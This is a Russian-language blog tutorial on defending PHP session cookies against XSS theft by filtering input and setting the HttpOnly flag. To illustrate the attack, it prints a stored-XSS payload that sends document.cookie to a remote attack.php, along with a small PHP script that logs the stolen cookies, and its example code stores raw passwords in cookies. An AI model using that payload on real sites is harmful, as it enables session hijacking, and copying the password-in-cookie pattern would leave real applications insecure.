Как защититься от кражи сессионных php кук?


Приветствую вас дорогие друзья! Эта статейка будет посвящена защите веб приложения, а именно защите пользователей от кражи (с помощью javascript) их кук! Как защититься от кражи cookie Итак, давайте рассмотрим такую ситуацию.. Допустим, на моем сайте реализован функционал регистрации и авторизации пользователей, и если с защитой приложения при регистрации пользователей проблем возникнуть не должно, то вот после авторизации и создании кук, могут возникнуть проблемы, связанные с их кражей.

Как можно посмотреть сессионные cookie?

Вот такой вот незамысловатый javascript код выведет нам на экран куки (если они имеются), связанные с сайтом на котором вы находитесь:
<script>
alert(document.cookie);
</script>
После этого вы увидите всплывающее окошко, в котором будет указано названия кук (если их несколько) и PHPSESSID.

Как происходит кража кук?

Сам процесс похищения данных я бы разделил, условно, на 2 этапа: 1. Внедрение нужного кода на страницу. Допустим, у нас на сайте организована гостевая книга (книга отзывов или ещё что-то подобное) - чтобы оставить свой отзыв, нужно заполнить поля - простая  формочка из 3 полей, код формы:
<form method="POST" action="">

	Логин: <input type="text" name="login">
	Пароль: <input type="password" name="pass">
	Отзыв: <input type="text" name="text">
	<input type="submit" name="send" value="Отправить">

</form>
Логика такая: если логин и пароль верны - авторизуем пользователя, создав cookie:
setcookie("login",$_POST['login'],time()+259200,"/");
setcookie("pass",$_POST['pass'],time()+259200,"/");
Вроде все хорошо, установили куки на 3 дня. Далее выводим наш отзыв:

echo '<p>Автор '.$_POST['login'].'</p><p>Отзыв '.$_POST['text'].'</p>';

Все хорошо, как могут похитить данные? правильно? А теперь представьте, к вам пришел хакер - что он сделает? А сделать, благодаря вышеизложенному коду, он может все что душе угодно! Он авторизуется под своим логином и паролем, но в поле отзыва он впишет следующее:

Отзыв<script>var img = new image;img.src = "https://sergey-oganesyan.ru/attack.php?"+document.cookie;</script>

То есть теперь, когда какой-нибудь другой пользователь оставит свой отзыв, будет дергаться скрипт, которому будет передаваться GET параметр - куки пользователя. 2. Получение и обработка данных. Получить и обработать данные - это уже дело второе, содержимое файла attack.php может быть таким:

file_put_contents("pass.txt",$_SERVER['REQUEST_URI'],FILE_APPEND);

То есть в файл pass.txt будут построчно записываться данные о куках пользователей.

Как защититься?

Во-первых, всегда фильтруйте входные данные! Немного о фильтрации данных - давайте рассмотрим на данном примере и выясним, как делать нельзя и как нужно делать. Как нельзя делать:

echo '<p>Автор '.$_POST['login'].'</p><p>Отзыв '.$_POST['text'].'</p>';

Как нужно делать:

$login = check_data($_POST['login']);
$text= check_data($_POST['text']);

echo '<p>Автор '.$login.'</p><p>Отзыв '.$text.'</p>';

Где check_data - это написанная вами функция, в которой вы проверяете нужные данные должным образом! Во-вторых: делайте куки недоступными для скриптовых языков, таких как javascript! Для того, чтобы сделать просмотр кук с помощью javascript недопустимым, необходимо правильно устанавливать php cookie! Как нельзя делать:

setcookie("pass",$_POST['pass'],time()+259200,"/");

Как нужно делать:

$pass= check_data($_POST['pass']);

setcookie("pass",$pass,time()+259200,"/","sergey-oganesyan.ru",false,true);

А теперь давайте пройдемся по всем параметрам (слева направо) функции setcookie: 1. Название куки 2. Значение 3. Время жизни 4. Путь к директории, в которой доступны куки (/ - доступны во всем домене) 5. Домен, на котором они разрешены 6. Куки должны передаваться только от пользователя по защищенному соединение HTTPS - ставим false 7. Ставим true и наши cookie будут доступны только через протокол HTTP Седьмой параметр появился с версии php 5.2.0 - очень часто о нем забывают. Вот, в принципе, и вся защита! Теперь фокус с кражей с помощью javascript не пройдет. Не забывайте фильтровать данные и устанавливайте куки правильно! На этом у меня все, удачи!


Раздел: Программирование

Дата последнего изменения: 2014-10-26 22:27:49

Просмотров: 11468

Оставить комментарий

* Комментарий: (отменить ответ)

* Ваше имя:

Ваш e-mail:

*